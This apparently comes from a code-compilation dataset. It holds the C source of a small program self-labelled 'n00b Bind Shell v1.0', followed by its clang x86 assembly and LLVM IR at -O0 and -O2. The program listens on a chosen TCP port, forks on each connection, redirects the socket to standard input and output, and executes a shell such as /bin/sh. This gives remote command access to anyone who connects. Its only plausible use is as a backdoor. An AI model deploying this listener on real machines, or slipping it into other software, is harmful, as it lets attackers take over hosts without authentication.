#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
typedef int /*<<< orphan*/ uint16_t;
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  int /*<<< orphan*/ sin_port;
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};
typedef int /*<<< orphan*/ socklen_t;
typedef int /*<<< orphan*/ serv_addr;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ INADDR_ANY;
int /*<<< orphan*/ SOCK_STREAM;
int accept(int, struct sockaddr *, int /*<<< orphan*/ *);
scalar_t__ atoi(char *);
scalar_t__ bind(int, struct sockaddr *, int /*<<< orphan*/);
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execl(char *, char *, char *);
int /*<<< orphan*/ exit(int);
int /*<<< orphan*/ fork();
int /*<<< orphan*/ htonl(int /*<<< orphan*/);
int /*<<< orphan*/ htons(int /*<<< orphan*/);
scalar_t__ listen(int, int);
int /*<<< orphan*/ memset(struct sockaddr_in *, int /*<<< orphan*/, int);
int /*<<< orphan*/ perror(char *);
int /*<<< orphan*/ printf(char *, char *, char *);
int /*<<< orphan*/ send(int, char *, int, int /*<<< orphan*/);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int main(int c, char **v) {
  int tcpfd = 0;
  int connfd = 0;
  struct sockaddr_in serv_addr;
  memset(&serv_addr, 0, sizeof(serv_addr));
  if (c != 3) {
    printf("%s <port> <shell>\n%s 1234 '/bin/sh'\n", v[0], v[0]);
    exit(1);
  }
  if ((tcpfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
    perror("Can't establish the connection");
    exit(-1);
  }
  serv_addr.sin_family = AF_INET;
  serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
  serv_addr.sin_port = htons((uint16_t)atoi(v[1]));
  if ((bind(tcpfd, (struct sockaddr *)&serv_addr,
            (socklen_t)sizeof(serv_addr))) < 0) {
    perror("Cannot bind the connection");
    exit(-1);
  }
  if (listen(tcpfd, 10) < 0) {
    perror("Can't listen for connection");
    return -1;
  }
  for (;;) {
    if ((connfd = accept(tcpfd, (struct sockaddr *)NULL, NULL)) < 0) {
      perror("Can't established the connection");
      exit(-1);
    }
    if (!fork()) {
      send(connfd, "n00b Bind Shell v1.0\n", sizeof("n00b Bind Shell v1.0\n"),
           0);
      dup2(connfd, 0);
      dup2(connfd, 1);
      execl(v[2], v[2], (char *)0);
      close(connfd);
    }
    close(tcpfd);
    return 0;
  }
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0x0,-0x14(%rbp)
movl   $0x0,-0x18(%rbp)
lea    -0x28(%rbp),%rdi
xor    %esi,%esi
mov    $0xc,%edx
call   1080 <memset@plt>
cmpl   $0x3,-0x8(%rbp)
je     1262 <main+0x62>
mov    -0x10(%rbp),%rax
mov    (%rax),%rsi
mov    -0x10(%rbp),%rax
mov    (%rax),%rdx
lea    0xdad(%rip),%rdi
call   1060 <printf@plt>
mov    $0x1,%edi
call   10f0 <exit@plt>
mov    0x2d7f(%rip),%rax
mov    (%rax),%edi
mov    0x2d5e(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1120 <socket@plt>
mov    %eax,-0x14(%rbp)
cmp    $0x0,%eax
jge    129d <main+0x9d>
lea    0xd97(%rip),%rdi
call   10c0 <perror@plt>
mov    $0xffffffff,%edi
call   10f0 <exit@plt>
mov    0x2d44(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x20(%rbp)
mov    0x2d30(%rip),%rax
mov    (%rax),%edi
call   1070 <htonl@plt>
mov    %eax,-0x24(%rbp)
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
call   10e0 <atoi@plt>
mov    %eax,%edi
call   1030 <htons@plt>
mov    %eax,-0x28(%rbp)
mov    -0x14(%rbp),%edi
lea    -0x28(%rbp),%rsi
mov    $0xc,%edx
call   10b0 <bind@plt>
cmp    $0x0,%rax
jge    1302 <main+0x102>
lea    0xd51(%rip),%rdi
call   10c0 <perror@plt>
mov    $0xffffffff,%edi
call   10f0 <exit@plt>
mov    -0x14(%rbp),%edi
mov    $0xa,%esi
call   10a0 <listen@plt>
cmp    $0x0,%rax
jge    1331 <main+0x131>
lea    0xd3f(%rip),%rdi
call   10c0 <perror@plt>
movl   $0xffffffff,-0x4(%rbp)
jmp    13d4 <main+0x1d4>
jmp    1336 <main+0x136>
mov    -0x14(%rbp),%edi
xor    %eax,%eax
mov    %eax,%edx
mov    %rdx,%rsi
call   10d0 <accept@plt>
mov    %eax,-0x18(%rbp)
cmp    $0x0,%eax
jge    1367 <main+0x167>
lea    0xd23(%rip),%rdi
call   10c0 <perror@plt>
mov    $0xffffffff,%edi
call   10f0 <exit@plt>
mov    $0x0,%al
call   1110 <fork@plt>
cmp    $0x0,%eax
jne    13c5 <main+0x1c5>
mov    -0x18(%rbp),%edi
lea    0xd1b(%rip),%rsi
mov    $0x16,%edx
xor    %ecx,%ecx
call   1050 <send@plt>
mov    -0x18(%rbp),%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    -0x18(%rbp),%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rdi
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rsi
xor    %eax,%eax
mov    %eax,%edx
call   1100 <execl@plt>
mov    -0x18(%rbp),%edi
call   1090 <close@plt>
mov    -0x14(%rbp),%edi
call   1090 <close@plt>
movl   $0x0,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %rbx
sub    $0x18,%rsp
mov    %rsi,%r14
mov    %edi,%ebx
lea    0x8(%rsp),%rdi
xor    %esi,%esi
mov    $0xc,%edx
call   1080 <memset@plt>
cmp    $0x3,%ebx
jne    132e <main+0x12e>
mov    0x2db8(%rip),%rbx
mov    (%rbx),%edi
mov    0x2d97(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1120 <socket@plt>
test   %eax,%eax
js     134a <main+0x14a>
mov    %eax,%ebp
mov    (%rbx),%eax
mov    %eax,0x10(%rsp)
mov    0x2d87(%rip),%rax
mov    (%rax),%edi
call   1070 <htonl@plt>
mov    %eax,0xc(%rsp)
mov    0x8(%r14),%rdi
call   10e0 <atoi@plt>
mov    %eax,%edi
call   1030 <htons@plt>
mov    %eax,0x8(%rsp)
lea    0x8(%rsp),%rsi
mov    %ebp,%edi
mov    $0xc,%edx
call   10b0 <bind@plt>
test   %rax,%rax
js     1353 <main+0x153>
mov    %ebp,%edi
mov    $0xa,%esi
call   10a0 <listen@plt>
test   %rax,%rax
js     131a <main+0x11a>
mov    %ebp,%edi
xor    %esi,%esi
xor    %edx,%edx
call   10d0 <accept@plt>
test   %eax,%eax
js     135c <main+0x15c>
mov    %eax,%ebx
xor    %r15d,%r15d
xor    %eax,%eax
call   1110 <fork@plt>
test   %eax,%eax
jne    1305 <main+0x105>
lea    0xdcf(%rip),%rsi
mov    %ebx,%edi
mov    $0x16,%edx
xor    %ecx,%ecx
call   1050 <send@plt>
mov    %ebx,%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    %ebx,%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    0x10(%r14),%rdi
mov    %rdi,%rsi
xor    %edx,%edx
call   1100 <execl@plt>
mov    %ebx,%edi
call   1090 <close@plt>
mov    %ebp,%edi
call   1090 <close@plt>
mov    %r15d,%eax
add    $0x18,%rsp
pop    %rbx
pop    %r14
pop    %r15
pop    %rbp
ret
lea    0xd3e(%rip),%rdi
call   10c0 <perror@plt>
mov    $0xffffffff,%r15d
jmp    130c <main+0x10c>
mov    (%r14),%rdx
lea    0xcc8(%rip),%rdi
mov    %rdx,%rsi
call   1060 <printf@plt>
mov    $0x1,%edi
call   10f0 <exit@plt>
lea    0xcd4(%rip),%rdi
jmp    1363 <main+0x163>
lea    0xcea(%rip),%rdi
jmp    1363 <main+0x163>
lea    0xd18(%rip),%rdi
call   10c0 <perror@plt>
mov    $0xffffffff,%edi
call   10f0 <exit@plt>

LLVM IR (-O0):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@.str = [37 x i8] c"%s <port> <shell>\0A%s 1234 '/bin/sh'\0A\00"
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str.1 = [31 x i8] c"Can't establish the connection\00"
@INADDR_ANY = global i32 0
@.str.2 = [27 x i8] c"Cannot bind the connection\00"
@.str.3 = [28 x i8] c"Can't listen for connection\00"
@.str.4 = [33 x i8] c"Can't established the connection\00"
@.str.5 = [22 x i8] c"n00b Bind Shell v1.0\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i32
%8 = alloca %struct.sockaddr_in
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i32 0, i32* %6
store i32 0, i32* %7
%9 = call i32 @memset(%struct.sockaddr_in* %8, i32 0, i32 12)
%10 = load i32, i32* %4
%11 = icmp ne i32 %10, 3
br i1 %11, label %12, label %21
12: ; preds = %2
%13 = load i8**, i8*** %5
%14 = getelementptr inbounds i8*, i8** %13, i64 0
%15 = load i8*, i8** %14
%16 = load i8**, i8*** %5
%17 = getelementptr inbounds i8*, i8** %16, i64 0
%18 = load i8*, i8** %17
%19 = call i32 @printf(i8* getelementptr inbounds ([37 x i8], [37 x i8]* @.str, i64 0, i64 0), i8* %15, i8* %18)
%20 = call i32 @exit(i32 1)
unreachable
21: ; preds = %2
%22 = load i32, i32* @AF_INET
%23 = load i32, i32* @SOCK_STREAM
%24 = call i32 @socket(i32 %22, i32 %23, i32 0)
store i32 %24, i32* %6
%25 = icmp slt i32 %24, 0
br i1 %25, label %26, label %29
26: ; preds = %21
%27 = call i32 @perror(i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str.1, i64 0, i64 0))
%28 = call i32 @exit(i32 -1)
unreachable
29: ; preds = %21
%30 = load i32, i32* @AF_INET
%31 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %8, i32 0, i32 2
store i32 %30, i32* %31
%32 = load i32, i32* @INADDR_ANY
%33 = call i32 @htonl(i32 %32)
%34 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %8, i32 0, i32 1
%35 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %34, i32 0, i32 0
store i32 %33, i32* %35
%36 = load i8**, i8*** %5
%37 = getelementptr inbounds i8*, i8** %36, i64 1
%38 = load i8*, i8** %37
%39 = call i64 @atoi(i8* %38)
%40 = trunc i64 %39 to i32
%41 = call i32 @htons(i32 %40)
%42 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %8, i32 0, i32 0
store i32 %41, i32* %42
%43 = load i32, i32* %6
%44 = bitcast %struct.sockaddr_in* %8 to %struct.sockaddr*
%45 = call i64 @bind(i32 %43, %struct.sockaddr* %44, i32 12)
%46 = icmp slt i64 %45, 0
br i1 %46, label %47, label %50
47: ; preds = %29
%48 = call i32 @perror(i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.2, i64 0, i64 0))
%49 = call i32 @exit(i32 -1)
unreachable
50: ; preds = %29
%51 = load i32, i32* %6
%52 = call i64 @listen(i32 %51, i32 10)
%53 = icmp slt i64 %52, 0
br i1 %53, label %54, label %56
54: ; preds = %50
%55 = call i32 @perror(i8* getelementptr inbounds ([28 x i8], [28 x i8]* @.str.3, i64 0, i64 0))
store i32 -1, i32* %3
br label %86
56: ; preds = %50
br label %57
57: ; preds = %56
%58 = load i32, i32* %6
%59 = call i32 @accept(i32 %58, %struct.sockaddr* null, i32* null)
store i32 %59, i32* %7
%60 = icmp slt i32 %59, 0
br i1 %60, label %61, label %64
61: ; preds = %57
%62 = call i32 @perror(i8* getelementptr inbounds ([33 x i8], [33 x i8]* @.str.4, i64 0, i64 0))
%63 = call i32 @exit(i32 -1)
unreachable
64: ; preds = %57
%65 = call i32 (...) @fork()
%66 = icmp ne i32 %65, 0
br i1 %66, label %83, label %67
67: ; preds = %64
%68 = load i32, i32* %7
%69 = call i32 @send(i32 %68, i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.5, i64 0, i64 0), i32 22, i32 0)
%70 = load i32, i32* %7
%71 = call i32 @dup2(i32 %70, i32 0)
%72 = load i32, i32* %7
%73 = call i32 @dup2(i32 %72, i32 1)
%74 = load i8**, i8*** %5
%75 = getelementptr inbounds i8*, i8** %74, i64 2
%76 = load i8*, i8** %75
%77 = load i8**, i8*** %5
%78 = getelementptr inbounds i8*, i8** %77, i64 2
%79 = load i8*, i8** %78
%80 = call i32 @execl(i8* %76, i8* %79, i8* null)
%81 = load i32, i32* %7
%82 = call i32 @close(i32 %81)
br label %83
83: ; preds = %67, %64
%84 = load i32, i32* %6
%85 = call i32 @close(i32 %84)
store i32 0, i32* %3
br label %86
86: ; preds = %83, %54
%87 = load i32, i32* %3
ret i32 %87
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@.str = [37 x i8] c"%s <port> <shell>\0A%s 1234 '/bin/sh'\0A\00"
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str.1 = [31 x i8] c"Can't establish the connection\00"
@INADDR_ANY = global i32 0
@.str.2 = [27 x i8] c"Cannot bind the connection\00"
@.str.3 = [28 x i8] c"Can't listen for connection\00"
@.str.4 = [33 x i8] c"Can't established the connection\00"
@.str.5 = [22 x i8] c"n00b Bind Shell v1.0\0A\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca %struct.sockaddr_in
%4 = bitcast %struct.sockaddr_in* %3 to i8*
%5 = call i32 @memset(%struct.sockaddr_in* %3, i32 0, i32 12)
%6 = icmp eq i32 %0, 3
br i1 %6, label %11, label %7
7: ; preds = %2
%8 = load i8*, i8** %1
%9 = call i32 @printf(i8* getelementptr inbounds ([37 x i8], [37 x i8]* @.str, i64 0, i64 0), i8* %8, i8* %8)
%10 = call i32 @exit(i32 1)
unreachable
11: ; preds = %2
%12 = load i32, i32* @AF_INET
%13 = load i32, i32* @SOCK_STREAM
%14 = call i32 @socket(i32 %12, i32 %13, i32 0)
%15 = icmp slt i32 %14, 0
br i1 %15, label %16, label %19
16: ; preds = %11
%17 = call i32 @perror(i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str.1, i64 0, i64 0))
%18 = call i32 @exit(i32 -1)
unreachable
19: ; preds = %11
%20 = load i32, i32* @AF_INET
%21 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 2
store i32 %20, i32* %21
%22 = load i32, i32* @INADDR_ANY
%23 = call i32 @htonl(i32 %22)
%24 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 1, i32 0
store i32 %23, i32* %24
%25 = getelementptr inbounds i8*, i8** %1, i64 1
%26 = load i8*, i8** %25
%27 = call i64 @atoi(i8* %26)
%28 = trunc i64 %27 to i32
%29 = call i32 @htons(i32 %28)
%30 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 0
store i32 %29, i32* %30
%31 = bitcast %struct.sockaddr_in* %3 to %struct.sockaddr*
%32 = call i64 @bind(i32 %14, %struct.sockaddr* %31, i32 12)
%33 = icmp slt i64 %32, 0
br i1 %33, label %34, label %37
34: ; preds = %19
%35 = call i32 @perror(i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.2, i64 0, i64 0))
%36 = call i32 @exit(i32 -1)
unreachable
37: ; preds = %19
%38 = call i64 @listen(i32 %14, i32 10)
%39 = icmp slt i64 %38, 0
br i1 %39, label %40, label %42
40: ; preds = %37
%41 = call i32 @perror(i8* getelementptr inbounds ([28 x i8], [28 x i8]* @.str.3, i64 0, i64 0))
br label %61
42: ; preds = %37
%43 = call i32 @accept(i32 %14, %struct.sockaddr* null, i32* null)
%44 = icmp slt i32 %43, 0
br i1 %44, label %45, label %48
45: ; preds = %42
%46 = call i32 @perror(i8* getelementptr inbounds ([33 x i8], [33 x i8]* @.str.4, i64 0, i64 0))
%47 = call i32 @exit(i32 -1)
unreachable
48: ; preds = %42
%49 = call i32 (...) @fork()
%50 = icmp eq i32 %49, 0
br i1 %50, label %51, label %59
51: ; preds = %48
%52 = call i32 @send(i32 %43, i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.5, i64 0, i64 0), i32 22, i32 0)
%53 = call i32 @dup2(i32 %43, i32 0)
%54 = call i32 @dup2(i32 %43, i32 1)
%55 = getelementptr inbounds i8*, i8** %1, i64 2
%56 = load i8*, i8** %55
%57 = call i32 @execl(i8* %56, i8* %56, i8* null)
%58 = call i32 @close(i32 %43)
br label %59
59: ; preds = %51, %48
%60 = call i32 @close(i32 %14)
br label %61
61: ; preds = %59, %40
%62 = phi i32 [ -1, %40 ], [ 0, %59 ]
ret i32 %62
}